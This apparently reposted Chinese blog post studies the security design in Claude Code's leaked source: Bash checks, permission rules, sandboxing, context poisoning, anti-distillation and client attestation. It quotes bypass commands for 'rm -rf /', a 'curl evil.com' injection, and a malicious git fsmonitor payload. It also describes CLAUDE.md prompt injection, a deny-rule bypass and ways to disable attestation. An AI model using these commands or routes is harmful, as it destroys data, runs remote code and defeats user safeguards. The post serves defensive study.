2026年Claude Code 源码学习之安全篇

Claude Code 源码学习之安全篇Claude Code 源码泄露让我这样的 Agent 开发的初学者有机会去学习世界顶级 AI 公司的 Agent 产品是什么样的 如果不去认真研究一下 简直是暴殄天物 所以 打算分几个部分研究下源码 这篇文章是 Claude Code 源码学习的第一篇 学习下 Claude Code 是如何做安全防护的 后面还会学习上下文工程 工具系统 Skills 系统 以及多 agent

大家好,我是讯享网,很高兴认识大家。这里提供最前沿的Ai技术和互联网信息。



Claude Code 源码泄露让我这样的 Agent 开发的初学者有机会去学习世界顶级 AI 公司的 Agent 产品是什么样的。

如果不去认真研究一下,简直是暴殄天物。所以,打算分几个部分研究下源码。

这篇文章是 Claude Code 源码学习的第一篇,学习下 Claude Code 是如何做安全防护的。后面还会学习上下文工程,工具系统,Skills 系统,以及多 agent 的机制是如何设计的。


Bash 命令作为 CLI 应用中最频繁的输入,安全校验也是重中之重。

为了保证高安全性,Claude Code 的 Bash 安全检查链基本上就是在逐条对着 CWE-78(操作系统命令注入) 的子类做防御,对已知威胁做工程化应对。

对这方面感兴趣的,可以查看 CWE(Common Weakness Enumeration)。这是 MITRE 维护的软件弱点分类标准,安全界的“字典”。

Claude Code 中所有 Bash 命令在执行前都要经过一套安全检查链,使用正则匹配、shell-quote 解析和 tree-sitter AST 分析三种手段层层过滤。

下面是其中几条重要的安全校验。

Zsh 的 zmodloadztcpzpty 等命令能加载内核模块、直接建立 TCP 连接、创建伪终端,绕过网络白名单和进程监控。Zsh 本身不限制这些,它假设用户知道自己在干什么。但 AI agent 打破了这个假设:命令由模型生成,用户可能不懂就批准了。

Claude Code 的策略是用黑名单 + AST 解析拦截这些命令名。

Unicode 有“看不见的字符”:零宽空格、零宽不换行空格等。

攻击者把这些字符插入命令中,人眼看不出来,但简单的字符串匹配会失效,危险命令被伪装成安全命令。

源码用 NFKC 规范化 + 正则删除格式控制符、私有区字符、未分配码位,循环执行直到文本不再变化。

同时检测双向文本控制符(能让文本反向显示,经典攻击:文件名显示为 txt 实际是 exe)。

还有递归版本能处理 JSON 对象、数组等嵌套结构中的所有字符串字段,确保 MCP 工具的任何返回值都经过清洗。

IFS 是 bash 用来切分命令的分隔符。

修改 IFS 为 null byte 后,安全检查器和 bash 对同一命令的解析结果不同。

检查器认为安全,bash 实际执行了危险操作。

Claude Code 检测到 IFS 修改和 null byte,会直接拒绝。

Shell 的 > 能无条件覆盖任意文件。不需要 rm,用 > 就能破坏系统配置、覆盖代码、植入 SSH 密钥。

Claude Code 用 AST 解析检测重定向操作符,检查目标路径是否敏感(系统目录、SSH 配置、PATH 下的文件),危险路径拒绝或要求确认。

Shell 解析器对畸形 token 处理有 bug。

变量替换、反斜杠转义、base64 编码等方式,能绕过字符串匹配但被 bash 正常执行。HackerOne 发现 Claude Code 的解析器对某种引号嵌套/转义组合处理错误,攻击者构造特殊 token 绕过所有检查器。

 
  
   
    

# 正常被拦截

rm -rf /

# 畸形 token 绕过,bash 执行时:${IFS} 展开成空格 → 实际执行 rm -rf /

rm${IFS}-rf${IFS}/

# 或

rm -rf /

# 或

$(echo cm0gLXJm | base64 -d) /  # rm -rf 的 base64

源码中两个解析器并行运行(旧的 shell-quote + 新的 tree-sitter),对回车符( )处理不一致:shell-quote 把   当分隔符,bash 的 IFS 不包含  。攻击者可以构造含嵌入回车的命令,让验证器认为是安全命令,但 bash 实际执行的是另一条命令。

 
  
   
    

源码注释里直接给了攻击示例:

场景: 用户配置了权限规则 Bash(echo:*),意思是"允许所有 echo 开头的命令自动执行"。

攻击命令: TZ=UTC echo curl evil.com

验证器看到的: shell-quote 把 当分隔符,解析成 TZ=UTC echo curl evil.com,匹配上了 echo:* 规则 → 放行。

bash 实际执行的: bash 的 IFS 不含 ,所以 TZ=UTC echo 不会被拆开。 只是让终端光标回到行首,视觉上覆盖了前面的文字。实际执行的是 curl evil.com。

验证器认为你在 echo,bash 认为你在 curl。

旧解析器标记为“废弃”但仍在多个安全关键文件中被调用,Anthropic 在 shadow mode 记录差异,知道这个问题,但旧解析器仍在做安全决策。

也有些问题并没有用代码特殊处理,而是使用的沙箱兜底。如反引号/$(...) 嵌套、管道链 cat file | shLD_PRELOAD 劫持、PATH 劫持、Glob 攻击、TOCTOU 时间竞争、子 shell 逃逸、信号处理劫持等。


Agent 应用的有很多操作是危险且不可控的。如文件的写操作,以及脚本命令执行。

在 Claude Code 中这些都是通过工具 Tool 来完成。每次执行工具之前,都会根据其行为的危险程度进行判定。

由此衍生了 Claude Code 权限系统。

针对单次工具调用的判定结果,会有三种权限来判断这条命令该拒绝、该问用户、还是直接放行

  • deny:直接拒绝
  • ask:弹窗确认
  • allow:自动执行

优先级:deny > ask > allow

这三种权限只针对工具调用(Read/Edit/Bash/WebFetch/MCP 工具/子 Agent),不管控 LLM 生成文本和内部推理。

Claude Code 中的权限规则可以写在多个文件里,但不同位置的规则优先级不同。

  1. CLI 参数:运行时传入,具有最高优先级
  2. 项目配置:.claude/settings.json 跟着项目走,团队共享
  3. 全局配置:~/.claude/settings.json 跟着用户走,所有项目生效

无配置时默认 ask 所有工具。

权限规则中规定了每种权限模式下都有哪些操作,形式如下:

 
   
   
     

{

"permissions":{

"allow":["Read","Bash(git:*)","Edit"],

"deny":["Bash(rm:*)"]

}

}

Hook 拦截 → Deny 规则 → Ask 规则 → Allow 规则 → 默认模式。

值得注意的是,Hook 返回 “allow” 也不能绕过 deny 规则。

这是由 Adversa AI 报告的一个漏洞。

在 Claude Code 执行命令时,当命令包含过多子命令时,token 预算不足以运行全部安全检查器,降级为 behavior: 'ask'(不是 deny),交给用户判断是否执行。

攻击者构造大量无害命令 + 少量恶意命令的形式,将恶意命令隐藏在整体命令中,在用户批准后执行。

具体内容可以看,Adversa AI 报告标题:“Deny rules silently bypassed because security checks cost too many tokens”。

权限模式是全局的权限策略,它决定了在没有显示规则命中时,默认应该是走 deny、ask 还是 allow。

系统定义了多种权限模式:

  • default:每次操作前弹出确认,最安全
  • acceptEdits:自动批准文件编辑,命令仍需确认
  • plan:只允许规划,不执行任何写操作
  • auto:分类器自动判断是否安全,安全的自动执行
  • bypassPermissions:跳过所有权限检查,最危险

bypassPermissions 有两层防护:远程开关(企业可通过 Statsig 强制禁用)和本地设置禁用。即使用户传了 --dangerously-skip-permissions 参数也会被忽略。

进入 auto 模式时,系统会自动撤销危险的宽泛授权规则(如“允许所有 python 命令”),退出后恢复。

沙箱和权限系统之间有两个方向的交互:

方向一:沙箱 → 权限(自动放行)

开了沙箱后,autoAllowBashIfSandboxed 让 Bash 命令默认不再弹确认,逻辑是“反正在隔离环境里,炸不到外面”。

但这个自动放行有前提:如果你显式写了 deny 或 ask 规则,规则优先,沙箱不能覆盖。

方向二:沙箱 → 权限(路径放行)

你在沙箱配置里写了 allowWrite: ["/tmp/claude/"],那 Edit 工具往这个路径写文件时,权限系统也不再弹确认了。底层逻辑是 pathValidation.ts 会去查沙箱的 write allowlist,发现路径已被沙箱允许,就直接放行。

沙箱的配置会“反哺”权限系统的判断,减少不必要的用户确认。但 deny 规则是铁律,沙箱改不了。


Claude Code 中实现沙箱隔离的代码并不在本身,而是在开源仓库 anthropic-experimental/sandbox-runtime 中。

所以,后文的相关部分,也都是依据这个开源包。

文件系统的隔离是限制进程只能访问指定目录。

Linux 用 bubblewrap(基于 namespace), macOS 用 Seatbelt(sandbox-exec,声明式策略)。

这两种技术在实现上思路不同:

  • bubblewrap(Linux):给进程造一个“假的世界”。通过 Linux namespace,让进程以为自己看到的文件系统、网络、进程表是全部,实际只是宿主机的一个子集。进程在里面写 /etc/passwd,宿主机上的真文件完全不受影响——因为它写的是隔离出来的副本。
  • Seatbelt(macOS):macOS 自带的沙箱框架,通过 sandbox-exec 命令启动。你写一份策略文件(声明式的,类似“允许读这些路径、禁止网络访问”),内核级强制执行。进程想干策略不允许的事,系统调用直接返回失败。

bubblewrap 是“给你一个假世界”,Seatbelt 是“在真世界里加围栏”。效果一样,进程出不去指定边界。

Claude Code 默认只读当前工作目录,可通过配置额外可写路径。

这些限制都是 OS 级强制,所有子进程继承限制。

源码中有针对 /proc 的访问防御。/proc 是一个虚拟文件系统,每个运行中的进程都有一个对应目录。其中 /proc/[pid]/environ 这个文件包含了该进程的所有环境变量并且都是明文的。

Claude Code 运行时,环境变量里通常存着 API 密钥(ANTHROPIC_API_KEY 之类的)。

如果沙箱内的恶意命令去读 /proc/self/environ 或者遍历 /proc/*/environ,就能直接拿到这些密钥。

所以源码里专门检测对 /proc/*/environ 路径的访问,命中就拦截,防止通过 proc 文件系统读取环境变量中的 API 密钥。

这份白名单是为了防止恶意命令修改 Claude Code 的配置文件,比如修改 deny 规则,关闭沙箱等操作;以及防御 .claude/skills 被投毒。

Claude Code 会在生成沙箱规则时,把所有 settings 文件和 .claude/skills 目录强制塞进 denyWrite 列表,不管用户怎么配置,沙箱内的命令都无法修改它们。

即使用户自己的配置出了问题,沙箱也会自动保护,

这是最有代表性的真实攻击面防护。

完整攻击链是:沙箱内命令在工作目录植入伪造 bare repo 文件(HEAD、objects/、refs/)→ 注入恶意 core.fsmonitor 配置 → 后续 Claude 在宿主机无沙箱执行 git 命令时触发恶意钩子 → 从“沙箱内写文件”升级成“宿主机执行恶意逻辑”。

这里最根本的问题是 Git 判断一个目录是不是 bare repo 的逻辑很简单:根目录下有 HEAD + objects/ + refs/ 就算。

所以攻击者只要在沙箱里伪造这三个文件,Git 就会判定目录是一个 bare repo。

然后通过注入恶意 core.fsmonitor 配置,可以指定一个外部程序,Git 每次执行操作(git statusgit log 等)时会自动调用它来查哪些文件变了。

这个“外部程序”就是一条 shell 命令,Git 会无条件执行。比如:攻击者在伪造的 bare repo 的 config 文件里写上 core.fsmonitor = "curl evil.com | sh",只要有人在这个目录里跑任何 git 命令,恶意代码就自动执行了

Claude Code 对于逃逸的防护分两步:

  • 构建配置时把已存在的关键 Git 路径加入 denyWrite;
  • 命令执行后同步清理沙箱内被植入的 Git 裸库文件。

安全边界不是“进了隔离环境就结束”,而是执行前限制、执行中隔离、执行后清理。

Claude Code 通过代理服务器(运行在沙箱外)拦截所有网络请求,运行 HTTP proxy + SOCKS5 proxy。

Linux 通过环境变量(HTTP_PROXYHTTPS_PROXYALL_PROXY)引导流量走代理,不是强制隔离,不遵守这些变量的程序可以绕过。

macOS 用 Seatbelt 在内核层只允许连接代理监听的 localhost 端口,是真正的强制隔离。

代理从请求中提取域名检查白名单,不在白名单的域名被阻止并通知用户。

网络白名单不是独立配置的,而是从 WebFetch 工具的权限规则中自动生成——你在权限配置里写了 WebFetch(domain: example.com),沙箱代理就会把 example.com 加进白名单。

如果配置里完全没有 WebFetch 权限条目,代理甚至不会启动,沙箱内所有网络请求直接失败。

开启 allowManagedDomainsOnly 选项后,只有配置的域名才能通过。检测到配置外的新域名,请求会直接被阻止,不再询问用户。

所有子进程继承沙箱边界。kubectlterraformnpm 等工具都受限。npm install 的 postinstall 脚本也在沙箱内。

Unix socket 是本机进程间通信的通道。如果沙箱内的恶意进程能创建 Unix socket,就可能连上宿主机上的 Docker daemon、数据库、桌面环境等服务,实现沙箱逃逸。所以默认必须阻止。

两个平台的实现方式不同:

  • Linux 用 seccomp BPF 在 syscall 层面拦截 socket(AF_UNIX, ...) 调用,进程尝试创建 Unix socket 时直接返回权限拒绝。但 seccomp 只能拦“创建”动作,拦不了从父进程继承的已有 socket fd,也拦不了通过 SCM_RIGHTS 机制传递过来的 fd。对大多数场景够用,但不是完美隔离。
  • macOS 用 Seatbelt 按路径做白名单,可以精确控制允许连接哪些 socket 文件。

配置上也有平台差异:allowUnixSockets 在 macOS 上是路径白名单(比如允许 /var/run/docker.sock),在 Linux 上这个配置被忽略,因为 seccomp 工作在 syscall 层,没有路径信息可过滤。Linux 只有一个全局开关 allowAllUnixSockets,要么全拦要么全放。

官方文档特别警告:允许 /var/run/docker.sock 等同于把宿主机的完整控制权交给沙箱内的进程,因为 Docker daemon 本身就有 root 权限。

“配置里写了启用沙箱”和“实际跑在沙箱里”是两回事。

中间隔着平台支持检查(WSL1 不支持,因为 bubblewrap 需要 WSL2 的内核特性)、依赖完整性检查(Linux 需要 bubblewrap 和 socat)、平台白名单等步骤。任何一步不通过,沙箱就起不来。

沙箱起不来时,Claude Code 只显示一个警告,然后继续无沙箱运行命令。这意味着用户可能以为自己在沙箱保护下,实际上完**奔。源码注释直接把这叫 security footgun(安全上的自我伤害)。

failIfUnavailable 选项就是为了堵这个口:设为 true 后,沙箱不可用时直接拒绝执行命令,而不是降级。适合企业部署场景,把沙箱从“有更好”升级成“没有就不干活”。

配置支持热更新,不需要重启 CLI。防止 AI 利用“配置已改但沙箱还用旧规则”的时间窗口逃逸。

Docker 容器内运行 Claude Code 时,bubblewrap 需要的 Linux namespace 权限通常被 Docker 自身的安全策略禁止(容器里再套 namespace,Docker 默认不允许)。这时候完整沙箱起不来。

enableWeakerNestedSandbox 就是为这个场景设计的:放弃 namespace 级别的文件系统隔离,退而求其次用更弱的限制方式,让沙箱至少能跑起来。

网络隔离(代理过滤)仍然有效,但文件系统隔离的强度打了折扣,不再是“假世界”级别的隔离,而是降级为权限控制级别的限制。

这是一个明确的安全换功能的妥协:在完全没有沙箱和有一个弱沙箱之间,选了后者。

配置项名字里的“weaker”就是在提醒你,这不是完整保护。


攻击者在 CLAUDE.md、README 等文件中植入恶意指令。

Claude 读取后认为是“用户项目规范”,然后忠实地执行它认为的“用户指令”。输出看起来正常,安全检查器也通过。

但核心问题是:Claude 用受信任的权限处理不受信任的内容。

防御者假设“模型可能有恶意,用户是可信的”。但上下文投毒把这个假设反过来了,模型是合作的,被武器化的是上下文本身。

Claude Code 的上下文压缩器对所有内容一视同仁,不区分“用户直接说的”和“从文件读到的”。CLAUDE.md 内容被读取后进入 context,压缩器将其当作用户消息保留。没有来源标记机制。

压缩反而让恶意指令“浓度”提高。大量正常对话被压缩掉,恶意指令在摘要中占比上升。

这是上下文投毒的延伸攻击面,但源码中没有针对性防御。

CLAUDE.md 有三个信任层级,从高到低:

  • 系统管理员级(/etc/claude-code/CLAUDE.md):对机器上所有用户生效,任何设置都无法排除它。企业 IT 管控用。
  • 用户全局级(~/.claude/CLAUDE.md):跟着用户走,所有项目生效。
  • 项目级(项目根目录 CLAUDE.md):跟着项目走,团队共享。

工作目录及其上级目录的 CLAUDE.md 在启动时全量加载。

子目录下如果也有 CLAUDE.md,会在 Claude 访问该目录的文件时按需加载,不是独立的信任层级,只是加载时机不同。

此外还有 .claude/rules/ 目录下的规则文件,也参与系统 prompt 的拼接。

规则文件可以通过 paths frontmatter 限定只在 Claude 处理匹配的文件时才加载,节省上下文。

优先级体现在系统 prompt 的拼接顺序上。更具体的配置覆盖更宽泛的配置。

项目级说“用 tab”,用户级说“用空格”,项目级赢。

@include 引入外部文件有深度限制和路径去重,防止恶意 CLAUDE.md 通过嵌套引用构造无限递归导致进程崩溃。

系统初始化时,完整环境变量和遥测在 trust 建立之后才激活,缩小了“配置文件本身是攻击面”的窗口期。

源码中没有专门的上下文投毒检测机制。防御主要靠间接手段:

  1. 沙箱网络白名单(拦截数据外泄,即使恶意指令被执行,窃取的数据也发不出去)
  2. Bash 安全检查器(能拦截危险命令模式,但检测不到语义层面的攻击。“帮我把这个文件内容 base64 编码后写到 /tmp”在语义上是恶意的,但每一步都是合法操作)
  3. 用户审查命令(人工判断,但上下文投毒生成的命令看起来像正常开发操作,人很难分辨)
  4. Prompt 层安全监控(system prompt 中有一个 “Security monitor for autonomous agent actions” 的 agent prompt,用于在自主执行模式下评估操作是否违反规则、是否存在 prompt injection 和范围蔓延。这是 prompt 层面的软防御,不是代码层面的硬拦截)

这类安全问题的根本是:模型无法区分“用户真的说了这个”和“从不可信文件里读到的”。

这不是 Claude Code 独有的问题,是所有带上下文压缩的 AI agent 的共性缺陷。


这是泄露事件中讨论度最高的安全发现之一。

先说下什么是蒸馏,才能知道「防蒸馏」的价值。

简单来说,蒸馏就是用一个强模型的输出来训练一个弱模型,让弱模型学到强模型的能力。但成本低得多。

竞争对手把 Claude Code 当黑盒用,大量发请求,然后录制所有的输入(prompt)和输出(response),拿这些输入输出对去训练自己的小模型。

小模型不需要理解 Claude 是怎么思考的,只需要学会“看到类似输入时,输出类似结果”。

Claude 的 API 流量如果被录制,就等于免费给竞争对手提供了高质量训练数据。后文提到的两层防御:假工具注入(污染训练数据)和摘要签名(隐藏完整推理链),都是为了让录制到的数据“有毒”或“不完整”,降低蒸馏的价值。

系统可以让服务器在 system prompt 中注入假的工具定义。如果竞争对手录制 Claude Code 的 API 流量来训练模型,假工具会污染训练数据,让训练出的模型在工具调用上出错。

第二层防护:服务端把工具调用之间的助手文本摘要化,并附加加密签名。录制者只能拿到摘要,拿不到完整推理链。后续轮次可以通过签名恢复原文。


这是 Anthropic 对第三方工具(如 OpenCode)发律师函的技术基础。

Client Attestation 就是让服务端能区分“这个请求真的来自正版 Claude Code 二进制”还是“有人拿着 API key 自己拼的请求”

具体实现方式如下:

API 请求中嵌入一个固定长度的占位符(cch=00000),在请求离开进程前被 Bun 的底层(Zig 运行时,在 JavaScript 层之下)替换为 5 位十六进制哈希。

服务端据此验证请求来自真正的 Claude Code 二进制而非仿冒客户端。

占位符长度固定(5 个字符替换 5 个字符),是因为替换发生在 body 已经序列化之后,长度不变就不需要重新计算 Content-Length 和重新分配缓冲区,只是一次简单的内存覆写。

整个计算在 JS 运行时之下完成,JS 层的任何代码都看不到。

需要注意的是,这里用的是 xxHash64 非加密哈希,速度快但不具备密码学强度。

安全模型靠的是隐蔽性(算法藏在编译后的 Zig 二进制里),不是密码学。

泄露后已被逆向工程,约 30 行代码即可重现。常量会随版本更新,但提取过程是机械性的。

局限: 有编译期开关(NATIVE_CLIENT_ATTESTATION)可以关闭,环境变量(CLAUDE_CODE_ATTRIBUTION_HEADER)可以禁用 header,还有远程 GrowthBook killswitch 可以关闭。

用非官方 Bun 或 Node 运行时占位符不会被替换。算法已被公开逆向,安全性依赖版本迭代更换常量。


Claude Code 运行时能接触到你的 API 密钥、文件路径、代码片段、MCP 服务器配置等。

Anthropic 为了防止自己的产品在运行过程中泄露用户数据,对代码和开发者都增加了一些约束。

而信息可能通过三个渠道泄露出去:

  1. 遥测回传:使用数据自动上报给 Anthropic 服务器,如果不做处理,代码片段、文件路径、API key 可能混在遥测数据里一起发出去。
  2. Team Memory 同步:团队共享记忆上传到云端时,如果内容里包含 API key 或密码,就直接把密钥传到了 Anthropic 的服务器上。
  3. 内部日志流:不同团队对数据的访问权限不同,含 PII 的数据如果进了通用日志,任何有日志权限的员工都能看到。

为了堵住这些泄露渠道的防护策略主要有四部分,大致如下。

三种级别:全功能开启、关闭遥测(保留自动更新等)、关闭一切非必要网络。

遥测数据中的 PII 字段会被路由到有访问控制的专属通道,发送到通用日志流前必须经过脱敏。MCP 工具名在上报前被替换为通用标签,不暴露用户的私有 MCP 服务器配置。

遥测上报的字符串字段使用特殊类型标注,开发者必须显式断言“我确认这条数据不含代码或文件路径原文”才能通过编译。

这是编译期的强制约束,不是命名约定。

Team Memory 上传前会经过正则密钥扫描器,覆盖主流平台的 API Key 格式。扫描结果只返回“哪条规则命中”而非密钥原文,防止扫描本身成为泄漏渠道。可以选择替换为 [REDACTED] 而非直接拒绝。


Claude Code 的安全架构是多层防御,工程水平远超同类产品。

但根本问题在于:AI agent 的信任边界模糊。用户输入可信,代码文件可信吗?压缩后分不清。

这些不是 Claude Code 独有的问题,是所有 AI agent 面临的共性挑战。

小讯
上一篇 2026-04-09 14:59
下一篇 2026-04-09 14:57

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/253642.html